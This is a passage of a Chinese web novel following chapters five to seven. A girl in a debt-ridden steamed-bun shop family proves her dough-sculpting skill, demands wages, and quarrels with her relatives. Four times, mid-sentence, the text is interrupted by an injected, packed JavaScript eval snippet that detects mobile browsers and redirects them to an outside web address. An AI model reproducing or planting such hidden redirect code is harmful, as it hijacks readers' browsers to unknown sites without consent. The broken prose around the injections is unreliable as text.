“你说什么?!”胡有福也不觉得累了,腾地站起身,手指头哆哆嗦嗦,“我、我……”老头子快被这个消息压垮了。哪儿来的天上地下,这阳城县的饽饽大同小异,哪儿来的天上地下啊? 胡有福身子晃荡两下,忽然转身向厨房奔去。 王翠惊叫一声:“当家的!” 胡有福再出来的时候,手里提着一把菜刀,脚步踉跄冲向闺女,“我不如当初溺死你!” 可刀刃在太阳底下晃了一下,晃出一道白光,还是停在半空。 胡裪看着他,不闪不躲,站在原地,甚至还笑了一下:“爹,你砍,砍死了我正好,馒头铺也不用我操心了。” 胡有福脸上的肌肉在抽搐,眼角、嘴角、腮帮子都在抖。刀在半空中晃了晃,“当啷”一声掉在地上。 这个黢黑苍老的老汉儿身子一软,瘫坐在地,两手捂着脸呜呜咽咽哭起来。 “完了……全完了……咱家可就靠这个饽饽铺过活啊……” 他脊背佝偻着,后脖颈子上全是褶子,被太阳晒得黑红黑红的。 胡老爷子原本是胡家村的富户,生下三个儿子,死前分家,大儿子胡有权居长,分去祖屋和一半的土地,小儿子胡有禄是心里的肉疙瘩,分去剩下的三分之二和一头耕牛,就胡有福没福气,只分得四五亩薄田。 在地里,胡有福刨不出来足够的吃食,便想着做些旁的营生,阴差阳错开始卖馒头。起早贪黑,没几年便攒下一小笔银子。他倒是敢闯敢干,不顾兄弟们的冷嘲热讽,在县城内赁了一间小小的铺子,以蒸馒头为业。 后来学会了做花饽饽,生意更多了,辛辛苦苦一年,能净攒下十五六两,当时大儿子也十二三岁,小女儿亦能帮着揉面,小儿子虽干不了什么重活,可收收账还是许的,日子越过越好。 到四年前,那个小小的馒头铺已经无法满足胡有福的野心,他卖田卖地,把所有的积蓄凑成二百两银,又去借了一百两,买下这间大铺子,就为了赚取更多的钱,日后供孙子读书,一家人改换门庭。 可如今,全完了…… 王翠也哭,一屁股坐在凳子上,没了什么指望,就这么对着天哭。 陈喜妹不知什么时候从作坊里跑出来了,她站在作坊门口听见了全过程,两只手在围裙上搓了搓,掐着腰扯着嗓子骂起来:“我就说这个小姑奶奶不是个省心的!这下可好,一家人都得跟着喝西北风!天杀的,我这是造了什么孽,嫁到这么个家里来……” 胡裪没吭声,她站在原地,等胡有福哭完。 哭了好一会儿,哭声渐渐小了。胡有福拿开手,脸上全是泪,眼睛红得跟烂桃似的。他就那么坐在地上,抬头看着胡裪,眼神愣愣的,像是不认识她了。 胡裪走到胡有福身边蹲下:“爹,你听我说。” “爹,我又不是嫌咱家太富裕想把饽饽铺作没了。要是铺子真开不下去,我也没吃没喝不是?我既然敢接下来,就是有那两把刷子。” 胡有福的眼泪还挂在脸上,顺着皱纹往下淌,淌到嘴角,咸咸的。他舔了一下嘴唇,喉咙里滚动了几下,眼珠开始转动。 胡裪怕她不信,转身往作坊走:“你们等着。” 她走到面案处,上边摆着一大溜盆,盆上盖着湿布,湿布下头是今儿个下午新揉的面。她掀开布角,用手指按了按——略有些软了,但也勉强能用。胡裪伸手撕下一块,约莫鸡蛋大小,托在手心里。 面团在她手心里转着,一点点变了形状。她的手指极其灵巧,没两下就把面团分成了大大小小的圆球。捻起一个小面球往手心一放,指肚压下去一搓,也不知她怎么控制的手指,一片花瓣就捻了出来。 一朵牡丹,从花心开始,一瓣一瓣地往外生。中间是密密的花蕊,用梳子一点一点挑出来的,又细又绒。内层的花瓣微微合拢,包着花心,外层的花瓣微微舒展,边缘翻卷,像是刚被风吹开了一道缝。 她只用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345094|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了白面,可这朵白牡丹的颜色却极有层次。花心处厚实些,白得发暗,边缘薄,透着一丝丝光,简直跟真的花瓣一样。只恨面太软了,她不敢做盛开的形状,怕花瓣开到最后要塌掉,便做了个含苞待放的。 完成!她托着这朵牡丹走出作坊,走到天井里,走到一家人面前。 胡有福撑着膝盖一点一点直起腰,身子往前倾着,眼睛死死盯着那朵花。他抬起手,手指头在半空哆嗦半天,想碰又不敢碰,就那么悬着,悬了好一会儿。 那是一朵白牡丹。 每一片花瓣薄厚恰到好处,边缘微微卷曲,翻卷的弧度跟真花一模一样。花瓣的根部厚实些,到了边缘渐渐薄下去,花心处,密密的花蕊细细绒绒。 整朵花就这么静静地躺在胡裪手心里。 王翠喃喃道:“阿荞……你、你什么时候会的这个?我咋不知道?” 胡裪没答话,只看着胡有福。 胡有福脸上的泪还没干,可眼神已经彻底变了。他看着那朵牡丹,又看看胡裪,再看那朵牡丹,喉咙里滚动了几下,半晌才发出声来:“阿荞……” 胡裪把那朵花轻轻放在桌上。桌面上有个凹坑,花就搁在凹坑处,她排掉手上的面粉,开口道:“爹,这单生意我保你赚钱。但是,我有两个条件。” 胡有福一愣,胡裪没等他问,直接说:“第一,从今天往后,一个月要给我一两银子的工钱,否则我不干活。” 爹眉头一皱,没吭声。 胡裪又道:“第二,还上钱之前,这些饽饽钱我一分不要。还上之后,出于我手的单子,定钱归我。” 阳城县的惯例,定钱一般是总价的五分之一。 胡佑忍不住又开口了:“你见着哪家闺女像你这样?没出门子就要工钱,传出去不怕人笑话!” 胡裪不吱声,就那么看着胡有福。她知道胡有福打的什么算盘——自己不好开口,就让儿子当先锋。胡佑要是能把她这念头打下去,胡有福就不用出声得罪人,打不下去,胡有福再跳出来做好人。 可惜,她已经不是那个任人拿捏的软柿子了。 胡有福沉默了很久。他看着那锭银子,再看看闺女——脸还是那张脸,闺女却不是那个闺女了。说实话,她这个劲儿才像自己,要阿荞是个儿子…… 他终于点了点头:“行,就依你。” 胡佑急了:“爹!” “我说行就行!” 胡有福瞪了他一眼,胡佑一下子缩回去了。胡有福又看向胡裪,声音放软了些:“阿荞,爹依你。可这单生意,你真有把握?那可是张员外家,我听同行说,大少爷结婚,他把全城的饽饽铺都换了一遍。” 胡裪就指了指那朵牡丹花:“爹,你做过这样的饽饽吗?” 胡有福低头看着那朵牡丹。他十几年前就和面打交道,揉过的面能堆成山,蒸过的馒头能铺满一条街,可他这辈子,从没做过这样的饽饽。 别说做了,见都没见过。 他摇了摇头,没说话。 胡裪笑了一下,转身回屋拿纸笔。 5. 第五章 小心思 胡裪回屋,寻出纸笔。纸是寻常桑皮纸,笔是最廉价的竹管笔,权作画图却也尽够使了。 她于前世的翻糖家什,闭目也能估摸出长短粗细,心下早已有数。提笔蘸墨,手腕轻转,簌簌落落地画起来,笔下器物一件件有了模样。 胡裪先画的木质工具。头一件唤作“走棰”,长七寸,粗若鸡卵,两头尖尖似梭,中段微鼓,需打磨得没有毛刺才好。这走棰说白了,也是一种擀面杖。 第二件是一套“丸棒”,长五寸,两头俱是小圆球。胡裪画了五支大小不一的来,能用来按压出凹窝。 末了是三只“晾花碗”,大的径二寸,深五分;中的径寸半,深四分;小的径一寸,深三分。这是用来安放塑好的花瓣的,好叫那花瓣保持着自然的弯翘模样,不至塌了形儿。 画毕木匠的,又去画那铁匠的活计。内有滚刀一柄,刻刀一套,长刀片一根,此外还有各色印模,以及做那人物脸面用的开脸家什。 画完后细细检点一番,恐有遗漏,再将那要紧之处用小字批注在一旁,一时间竟然忘了时辰。 此时,外头天井里,她大哥胡佑正同老爹嘀咕那张员外家的单子。 “爹,您瞧这事对劲么?”胡佑手里捏着那单子,满脸的不忿,“我明明瞅着是十九两四钱,怎地到了阿荞嘴里,就短了三两,成了十六两四钱?依我看,阿荞这心也大了,打量着咱们父子不认得字,私下昧下了这银子。” “蠢才,蠢才,蠢才!”胡有福恨铁不成钢,恨不能撬开这孽障的脑壳,瞧瞧里头装的是不是豆腐脑。这么明白的事,竟还不如个十六岁的丫头看得通透,“你识得的那两个字,你妹子如何不识?她若存心瞒你,拿这话哄你作甚?” 胡佑摸摸后脑勺,犹自不解:“莫非是阿荞记差了?” 唉……胡有福唯有长叹一声,点拨道:“这单子一式两份,一份由那管家交与张老爷支银子,一份咱们收着。你说,短了这三两,是落在谁的手里了?” “爹是说……张管家?”胡佑这才恍然大悟。 “好生跟你妹子学着罢!”胡有福语重心长。馒头说到底不过是寻常吃食,城里饽饽铺子没有十家也有八家,做的都大同小异。为何人家偏偏挑中胡家?察言观色还在其次,最要紧的是通晓人情世故。 就好比他常年给崔举人、吴员外家送杂合面馒头,一年能净落近三十两银子。可常言道得好,阎王好见小鬼难缠,这三十两里头,少说也得拿出十五两来,上下打点那些管事的人。 胡有福是个有心计的,每到年节必要亲自登门,送些节礼疏通人情,故此四五年下来,这桩买卖才做得稳稳当当。两家若有什么婚丧嫁娶、祭祖上坟的差事,做饽饽的活计也是从胡家定下。 “阿粟,”胡有福唤着儿子的小名,谆谆教诲,“你妹子便是赚下座金山,日后不也是留给你的?何苦整日价同她乌眼鸡似的,尽使些小性儿?闲了,说两句好话哄哄她,又不费你一文钱。” 在阿粟之前,他还有过三个子嗣。头一个小子生下来便浑身青黄,可怜见的没留住。第二个是丫头,算不得数。第三个两岁上闹饥荒,也糟践了。这胡佑,实打实是他第一个站住的儿子,因此真就跟心尖尖肉一样。 胡佑,护佑,老头子就指着这儿子传宗接代,日后接了他的买卖,他这一辈子,才算没白来世上走一遭。 胡佑听着老爹苦口婆心,面上只管点头应着,心里却老大不以为然。抬眼觑向自己媳妇,想叫她帮衬着说几句,谁知这木头平日里同他拌嘴时精神百倍,这会子倒把嘴闭得紧紧的,一言不发。 陈喜妹却在一旁拨开了自己的小算盘。一个月一两银子!一个大姑娘家,吃在家,喝在家,不过给家里搭把手,竟敢开口要一两银!可这银子……说句实在话她也眼热得紧。若能得着一两银的月钱,多少也能抠出些来贴补她娘家的兄弟。 这陈喜妹本是陈家庄上贫苦人家的女儿,当年能留下性命不曾被溺死,全因要留着给哥哥换亲。谁曾想,胡家出了十五两白银并两亩薄田来下聘,她便嫁进了胡家。 出嫁之前,她怎么也想不通,这县城里的人偏偏瞧上她了呢?总不会她长得貌若天仙。 嫁过来之后才晓得胡家为买铺子,连本带息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345095|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠了一百五十两银子。 一百五十两!她家花销十年也尽够了! 当时胡佑也十七了,不好再拖着,便选了最穷苦的一家,是为少出些聘礼。若要聘城里的闺女,少说也得大二百两,这还是三年前的行情。 陈喜妹便如此进了胡家大门,可她总觉得在人前抬不起头来。不为别的,只因她嫁过来时,真真是一文钱的嫁妆也无。爹娘那是将她卖了呀……若自己能挣得几个钱,不说一月一两,便是五钱也是好的。一年攒下六两银子,也是一笔体己。 只是这话却不知该如何开口。陈喜妹低着头,只顾想自己的心事,全没瞧见丈夫拿白眼翻她。 不多时,胡裪便拿着画好的图纸从屋里出来。她将两张纸递给胡佑,道:“哥,这些都是做饽饽用的家什,烦劳你替我把这张图纸送与薛木匠,叫他加紧些,先给我打出三套来。再将这份图纸送与刘铁匠,也是三套。再烦铁匠师傅捻些细铁丝、细铜丝来,我后头有用处。” 胡佑看老头子一眼,见他点头才起身离开,等着回来的时候还有些气喘,同妹子说工期的事情:“你的那些棍棍棒棒,十日之内便能做好。铁的却还麻烦些,那些小巧的刀片并不好打。木器六钱,铁器一两二钱,统共是一两八钱,我交了定钱,剩下的取货时缴清。” 胡佑拿眼皮夹着阿荞。他知道这丫头有钱,媳妇给她收拾屋子的时候,在小抽屉底下翻见过,总共二两多。按照胡佑的意思,这个东西既然是胡裪要的,银钱也合该是胡裪出。 胡裪晓得他的打算,却不知道陈喜妹翻过自己的屋子,只哂笑一声:“大哥,若是这十六两银子全归我,那家什钱我全出。” 眼见着这两个不省心又要掰扯,王翠赶紧提醒自家老汉儿:“这个钱哪儿能叫你们出?” “是了,说到底是给家里还账,不能用你们的体己钱,”胡有福接话,又叫自家婆子拿豆子换块豆腐回来。有了这么大笔收入,实在是喜事,今儿晚上做个酱油滚豆腐,好生犒劳犒劳。 王翠装上豆子,悄声拿了十几文私房钱,带着闺女一块儿去柳花巷子豆腐西施处换豆腐。 6. 第六章 询问 母女两个掩了后门出来,走出巷口,便是街上了。 现在日头斜着,映得红瓦上带一层金,晒得街面上的青石板泛着光。两边铺子都还开着,那些个布幌子、酒旗儿、药招子,在微风里懒懒地飘着。 对过是个杂货铺,门口摆着几口大缸,一个半大小子正拿瓢从缸里舀水,水珠子溅在石板上,洇出一小片深色来,映着日头亮晶晶的。再往前走几步有个卖吃食的担子,一股子葱花香味儿混着油香飘过来,惹得人肚子里咕咕响。 王翠挎着装豆的篮子,眉间拧着,一副苦相。拿眼梢觑了觑身边走的闺女,到底忍不住心里头的话:“一年年的,过得真快,竟也没觉出来你都是个十六岁的大姑娘了。也能……也能给家里争上用了。” 许是后头几个字烫舌头,王翠说得含含糊糊。这事儿不光彩,无论是要靠卖女儿还债还是要靠女儿赚钱还债。 胡祹没吭声,垂着眼往前走,眼睛瞧着自己脚底下那双半旧的鞋。她不是没听见娘的话,是听见了却不知该怎么答。心里头像塞了一团乱麻,扯不清也理不顺。 上一世固然父母双全家庭美满,可谁叫她倒霉,偏偏前十六年没有上一世的记忆呢?她是一个生在胡家,长在胡家的女孩儿,小时候也还过得不错,对自己的爹妈哪能没有情分? 尤其是跟王翠,母女之间的情谊,总是跟别个不同。 胡裪自有记忆起,便是长在王翠怀中。许是上头的姐姐没留住,王翠格外地珍重独女,家里但凡有什么好吃的,总是先紧着她,就是老头子偏心儿子,偷偷给阿粟留什么,王翠也能变着法儿地给女儿寻一份来。 胡裪记得有一年过年,家里炖了一只老母鸡。鸡是村里养的走地鸡,一肚子黄油。娘把鸡收拾干净了,灶膛里架上柴,用大锅慢慢地炖。 香气从锅盖缝里钻出来,飘得满院子都是。她馋得围着灶台转,掀掀锅盖问娘好了没有,娘被她缠得没法子,就拿锅铲子舀起一点汤水,吹凉了倒在她嘴里。 后来鸡炖好了,盛了满满一大盆汤。汤是金黄色的,上头漂着一层油花,亮汪汪的。 胡裪知道规矩,鸡腿一只是爹的,另一只是大哥的,她和弟弟一人一只翅膀。她想吃鸡腿,可她知道不能要。她想的是鸡翅膀给弟弟,她吃胸脯上的肉,然后把自个儿那只翅膀让给娘。娘每回都吃不着好肉,她想让娘也尝尝。 可娘从汤里捞出来那只整鸡,把肉一丝一丝地拆了出来,一边拆,一边把一撮又一撮带着皮和油脂的鸡腿肉往胡裪口里填,香的嘞。 胡裪当时愣住了,满嘴都是肉,眼睛却瞪得大大的,里头全是不可置信。 娘看着她那个傻样儿,忍不住笑了,手上的活儿一点儿没停,接着往下拆,肉装了大半盆。 一整只鸡,少一条腿是看得出来的,可拆成一盆肉,谁还数得清有多少块?那会儿她不懂,只知道娘疼她,偏爱她。晚上吃年夜饭的时候,爹还念叨说今年买的鸡小了,肉不够多,她听了偷偷地乐,低着头扒饭,生怕自个儿脸上的笑让人瞧出来。 但娘再怎么疼她,到了这样的时候也是要卖了她,去凑钱给大哥保下那个馒头铺子的。 王翠见女儿不说话,心里头空落落的,只觉得和自己闺女的心隔开了。她捋了捋鬓边散下来的碎头发,动作有些不自然,眉目低垂间余光看见一个小摊子,卖女人用的零碎物件的。 摊子不大,一张蓝布铺在地上,上头摆着些梳子、篦子、绒花、头绳之类的东西,还有些木簪、骨簪,都是常见的不值什么钱的东西,花样却还新鲜。 王翠心里一动,想着讨女儿的好,便拉着胡裪的胳膊便往那边走。 摊子后头坐着个小贩,二十出头的年纪,生得精瘦,眉眼倒活泛。 见有人来,他屁股一抬便站了起来,脸上堆出个笑来,脆生生地招呼道:“大娘,小娘子,可瞧瞧有什么中意的?小人的货虽不是金的银的,可都是实打实的好东西,花样也新。这绒花是南边来的式样,头绳是正经染坊出来的,不掉色儿。大娘给小娘子挑一件,戴上去保管俊俏!” 他说着,伸手把捡了摊子上最鲜亮的几样往前,摆给王翠看。 王翠身上只有十几文,买不了那些铜物件,偏看中了一根头绳。绳子没什么奇特的,倒是两端各缀着一颗米粒大小的圆珠。圆珠是螺壳打磨的,不很精致,但被染成了浅浅的肉粉色,颜色像是桃花瓣儿的那个尖儿,不是很红。 海螺壳一圈一圈的纹路也没有被磨去,稍稍变化角度,就能在珠子表面看到一层流光,青蓝混杂,像是太阳底下的泡沫。 王翠拿过那根头绳,两根手指捻住绳料搓了搓,心里大体有了数。 绳子虽不是什么好绳子,但胜在染色均匀又牢固。 她心里头是想要的,可她兜里就十几文钱,这种小摊小贩又最会抬价,得铆足了劲好好杀一杀。 “这个怎么卖?”王翠问。 小贩眼珠子一转,脸上笑模笑样:“大娘好眼力,这可是稀罕物!绳子是上好的绸布,珠子是正经螺钿上使的料。就这么两颗米粒大小的珠子,十五文也能卖了。大娘,我瞧着您面善,不多要,就要个成本价,二十文!” 王翠拽着胡裪转身就走。这一招叫做欲擒故纵,小商小贩嘛,一开始总得要高价碰碰不识货的冤大头,但王翠也不是傻婆娘,不会花一文的冤枉钱。且再看他摊子上的东西花样还多得很、齐整得很,便知今天没怎么开张,现下定舍不得自己走了。 果然,小贩在后头急着喊:“大娘,大娘!您别走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345096|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!您要是真想要,咱再商量商量!” 王翠不停,还往前走。 “十八文!十八文成不成?” 王翠的脚步顿了顿,可还是没停。 那小贩急得站到摊子前边来,嗓门也大了:“大娘!您说个实诚价!多少您能要?” 王翠这才站住了脚走回摊子跟前,又拿起那根头绳在手里捻了捻,嘴里不紧不慢地说:“好看归好看,也没你说得那么金贵。什么螺钿上使的料?哄谁呢?这就是碎螺壳磨的,你费工夫磨了,那是你的工夫钱,可料钱,你一个子儿没花。” 小贩脸上的笑僵了僵,干咳了一声:“大娘,您这眼力……” 王翠也不理他这茬儿,自顾自地往下说:“你这绳子,是茧绸废料染的,也就值五六文。两样加一块儿,我给你十文。” “十文?”小贩叫起来,“大娘,您这价也太狠了!小的磨这珠子磨了整整一天,手上都磨出泡来了!您好歹让小的挣个工夫钱!” “那你说多少?” 小贩咬了咬牙:“十五文!大娘,十五文,再少真卖不了。您满街搜罗搜罗,还能不能再给小娘子找着这么根绳子。独一份儿!” “十三文,你要是诚心卖我们就要着。”王翠想着闺女梳着三小髻,这两颗小珠子垂在腮边,一动一动的,该有多俏,多让三文就多让吧。 “行行行,”小贩也终于松口,“大娘,我真服了你。今儿让两文就当和大娘套近乎了,以后要是缺个针头线脑可还得上我这儿来,我还给您便宜。” 王翠应下来,从怀里摸出一个布包层层打开,露出里头磨得发亮的铜钱。拣出十三文铜钱,一枚一枚放在摊子上,把剩下的又仔仔细细地包好,揣回怀里。 做完了买卖,王翠把东西递到闺女跟前,还有些自得:“明儿娘就用这个给你绑头,保管好看。” 胡祹接过那根头绳,低头看了一会儿,忽然抬起头来问道:“娘,要是家里又没钱了,爹要卖了我,你会不会拦一下?” 王翠那点儿自得的笑瞬间僵在脸上,喉咙里像是堵了团棉花,一个字也吐不出来。 胡祹等了一会儿,仿佛得到了答案般卸下一口气,接过王翠手里的篮子:“没事儿!我都晓得嘞!”也看不出伤心还是怎么的,红绳子在手里甩着转悠。 没关系,胡裪已经原谅了王翠。她想,娘跟爹过了二十多年,手里头除了几个铜板的体己,什么东西都不是她的,连她自己也不是。自己又怎么能对着一无所有的人奢求呢?要真有本事,就从胡有福手里抠钱,柿子挑着软的捏算什么? 想到这,她振奋起来。 胡裪!早晚有一天,你能跟上辈子一样,凭着自己的一双手挣出来吃挣出来喝,再也不用担心谁卖了你! 7. 第七章 挑唆 王翠从柳花巷子换豆腐回来,心头便沉甸甸的不自在。眼面前儿总晃着女儿不怎么亲近的脸,越想越不是滋味,心里反添了几分埋怨——也是,天底下哪有不是的父母?怎的就轮到女儿给亲娘脸子瞧呢? 这心里一不痛快手底下便没了准头,晚间做的豆腐一不留神撒多了盐。胡有福扒拉了两口,咒骂几句浪费盐,也没奈何,只得把豆腐当做咸菜吃。 是夜,王翠翻来覆去就是睡不着,伸手推推身旁的胡有福,问:“当家的,你说阿荞那丫头,心里头是不是怨了咱们?” 胡有福正迷糊着,被她推醒,不耐烦翻了个身,瓮声瓮气道:“她敢!没把她卖到吴家已是她的造化了,她还敢怨谁?尽想这些没要紧的。明日寅正还要起来蒸馒头,误了渡口脚夫的买卖,你替他出那几个钱?”说着,又哼哼两声,不一刻便鼾声如雷,哪里管自己婆娘心里头的酸楚。 到了次日寅正王翠便起了,眼下青黑一圈,从胳臂到脖颈无一处不酸痛。她咬咬牙胡乱抹了把脸,便往作坊里去揉面。 渡口的脚夫们上工早,又多是些单身汉子,清早必要吃两个杂合面馒头方能撑一上午的苦力。大媳妇陈喜妹并小闺女胡裪此刻还都在屋里睡着,得再等一会子才起身。 王翠自缸里舀水净了手,略甩了甩就带着湿气进作坊。 作坊铁盆里的面是昨儿晚上就和好的。苞米面里头掺了豆面,白面只星星点点撒了一小把,不过借些筋性,免得散了屉,不成个模样。揭开看时面果然起了,只是面上横七竖八裂着几道口子,远不似那白面盆里蓬蓬的,发得老高。她也不在意,伸手进去探了探,底面还残着些干粉,便就着凉水一点点淋湿揉进去。 水撩进去,五指叉开把面絮往一处拢。玉米面粗,豆面滑,粘不到一处,她也不急,就那么掌根抵着死命地摁,一下一下往前碾。案板便笃笃地闷响起来。面团渐渐抱了团,只是糙愣愣的,四下里尽裂着口子。她直揉到面上光了些方住手,扯过笼布盖上。 旁人做发面,必要等它涨得满满当当才上笼,她这里不必。杂合面本也发不到那里去,醒一醒,松散松散,蒸出来不硬得硌牙便罢了。横竖是给出力的人吃的,软了不顶饥,人家反要说你馒头不实成,往后便不买你的了。 趁着醒面的空档,王翠又去和白面。这一回是用老面引子好好儿地发,可不是给那些力奔儿吃的,须得发得又喧又软人家才来卖。 差不多弄妥了白面,杂合面也醒得够了,王翠刚揭开笼布,不提防旁边伸过一只手来。 “娘,蒸笼上汽了。我做馒头,你往上放罢。” 是闺女。 胡裪荆钗布裙,一身青褐色的粗布袄裙干干净净。头上连根银簪子也无,耳垂上光秃秃的。可此刻,她却系上了那根红头绳!两颗小小的螺珠,在她腮边晃荡,就如两颗星子坠在了耳朵上,晃得王翠眼窝子一热。 “嗳!娘去放馒头!”王翠忙不迭答应,脸上漾出笑来,接了胡裪搓好的馒头一个个摆在盖帘上,抬去上笼。她素日沉着一张脸,难得这般笑容满面,倒叫刚从屋里出来的陈喜妹愣了一愣。 “哟,娘,今儿个是什么喜事?把娘乐得这样儿?”陈喜妹一面系着围裙,一面笑问。 王翠见了她笑脸霎时收了,沉声叫她闭嘴,赶紧干活。 “呸!”陈喜妹背着身,低低啐了一口,嘴里嘟嘟囔囔,“老不死的。” 说着,一脚踏进作坊,猛得叫胡裪发上那根红头绳晃得两眼生疼。她一口气噎在喉咙里险些喘不上来,旋即冷冷地笑了,阴阳怪气道:“阿弥陀佛!我说娘怎么乐成这样儿,我还当是咱们家那大窟窿账还上了呢!原来是给我们小姐添了妆!” 饥荒压在头上,她陈喜妹自嫁进来何曾有过一星半点的添置?眼瞅着今年的账要还不上,人家腮边倒晃起两个小珠子来!这老婆子倒真会疼女儿,拿了体己不还账尽花销在这些上头。 王翠听了这话,登时摔了手里的盖帘,几步抢出来,掐着腰骂道:“老娘的钱,老娘爱买什么便买什么,凭你也来多嘴?今儿个起得这样晚,我不骂你已是给你脸了,你倒敢跟我大小声起来?你算个什么东西!” 她婆媳两个素日里便不对付。王翠嫌陈喜妹娘家穷,连个帮衬也无,心里早存着千百个疙瘩。 这一吵,便有些收不住。 王翠心里虚,自知对媳妇苛刻了些,然越心虚面上越要显得理直气壮,一张脸涨得通红,嗓门愈发高。她扭头朝屋里嚷道:“胡佑!胡佑!你个挺尸的,还不出来管管你媳妇!由着她蹬鼻子上脸咒天骂地的,这家里还有没有王法了!” 屋里头胡佑正收拾挑子,外头娘喊得急只得撂下手里的绳索,一步三拖地蹭了出来。他素日最怕老娘和媳妇拌嘴,叫他夹在中间两头受气。出来拿眼把陈喜妹一瞪,上前推了她一把,闷声道:“大清早的嚎什么丧?还不进去做馒头!等会儿我和爹的挑子装不齐整,耽误了渡口的买卖,仔细你的皮!” 推着陈喜妹进了作坊,他又压低嗓门补了一句:“账你愁什么?有了妹妹那一手好活计,要不了多少时日账就还上了!你眼皮子忒也浅了!” 他不提还账就罢了,一提陈喜妹就想起来一两工钱的事情。她辛辛苦苦,早起晚睡,还要伺候一家老小,一文钱捞不着。小姑子张嘴就是一个月一两的工钱! 她气得浑身乱颤,正要开口,胡佑已然看出她还要争吵,不耐烦至极猛地扬起手来,作势便要扇她。 陈喜妹吓得一缩脖子。 “大哥!” 一声清喝,胡裪已到了跟前。她一把攥住胡佑扬起的手腕子,急声道:“哥!你要做什么?自己女人有话不会好好说?动什么手?出去!快出去!这里不用你!” 胡佑被妹子这一喝,又见她满脸怒容,倒有些讪讪的,缩回手,嘟囔着“懒得理你们”,自出去收拾挑子去了。 陈喜妹惊魂未定,睁开眼见是胡裪,先是一怔,旋即一股子说不清的委屈和羞恼齐齐涌上心头。她别过脸去一把抹了流下来的泪,硬邦邦道:“少来这儿假惺惺的!谁要你充好人?”说着便埋头去揉面。 胡裪看了她一会儿,忽然凑到嫂子身边,小声道:“嫂子,我知你心里气不过。反正账肯定能还上,不是我挑唆事儿,你要是难受,你也问爹要工钱,不给工钱不干活。你狠狠闹一顿,有思齐侄儿在,我哥能把你休了怎的?” 陈喜妹揉面的手一顿,却是没说话。 可说起来思齐,思齐这个娃娃就开始嚎了。他如今还小,才两岁多,放出屋要捣蛋,放出家门又怕拍花子,索性关在屋里不让出来。 他原是睡着的,这会子醒了见又被关在屋子里,便扯着嗓子嚎哭起来。哭声又尖又亮,直传到作坊里。 陈喜妹手下一顿,往外看了一眼,脚下却生了根似的只管揉面,不曾挪动半步。王翠在作坊里听见孙子哭得声嘶力竭,使个眼色给胡裪,胡裪便净了手,往屋里去哄了一回。拍着抱着,那孩子却只是哭,非要娘不可。 没奈何,陈喜妹只得一头汗一脸灰地跑进去,孩子方抽抽噎噎地止了声。陈喜妹把他往地上一放,摆了几个耍物叫他自己玩,又旋风似地奔回作坊接着揉面。 如此这般,一早晨便仔孩子的几番啼哭里混混沌沌地挨了过去。 及至晌午,日头毒辣辣地照着院子,一家大小方才闲下来。 胡有福和胡佑挑着担子回家,王翠便张罗做午饭。 灶台上搁着昨儿剩下的一块豆腐,养在凉水盆里倒也还新鲜。 王翠把豆腐捞出来,沥干水,切成寸半见方的薄片儿,匀匀地码在盘子里。又从院子里那畦小葱里薅了一把。小葱切成寸段儿,白的部分留着爆锅,青的叶子备用。 锅烧热了搁上一勺猪板油,刺啦一声响油烟便腾起来。王翠把白葱段儿扔进去,煸炒几下,香味儿就出来了。紧接着将一盘豆腐片儿顺着锅边轻轻滑进去,又拿起锅铲小心翼翼地翻动。 这豆腐嫩,稍不留神就得碎成一锅渣,非得手上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345097|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧劲儿不成。煎得两面起了淡黄的嘎渣儿,王翠便烹入一勺子酱油面粉水,再少少地添上半瓢水,盖上锅盖咕嘟着。 焖了有一盏茶的工夫,揭开来,汤汁儿早已收得浓稠,将豆腐染成酱红色,油汪汪亮晶晶的。临起锅时把葱叶子一把撒进去,翻两下便盛了出来。一时间满屋子都是葱香酱香,勾得人馋虫直往上拱。 饭菜上了桌,一家子围坐下来。 胡裪饿了一上午,端起碗先夹了一筷子葱烧豆腐。豆腐进了嘴烫得她倒吸一口气,却又舍不得吐出来。 外头是煎得焦香的皮,里头是嫩得入口即化的芯儿,酱汁的咸香里透着小葱香,那股子鲜味儿直往喉咙眼里钻。 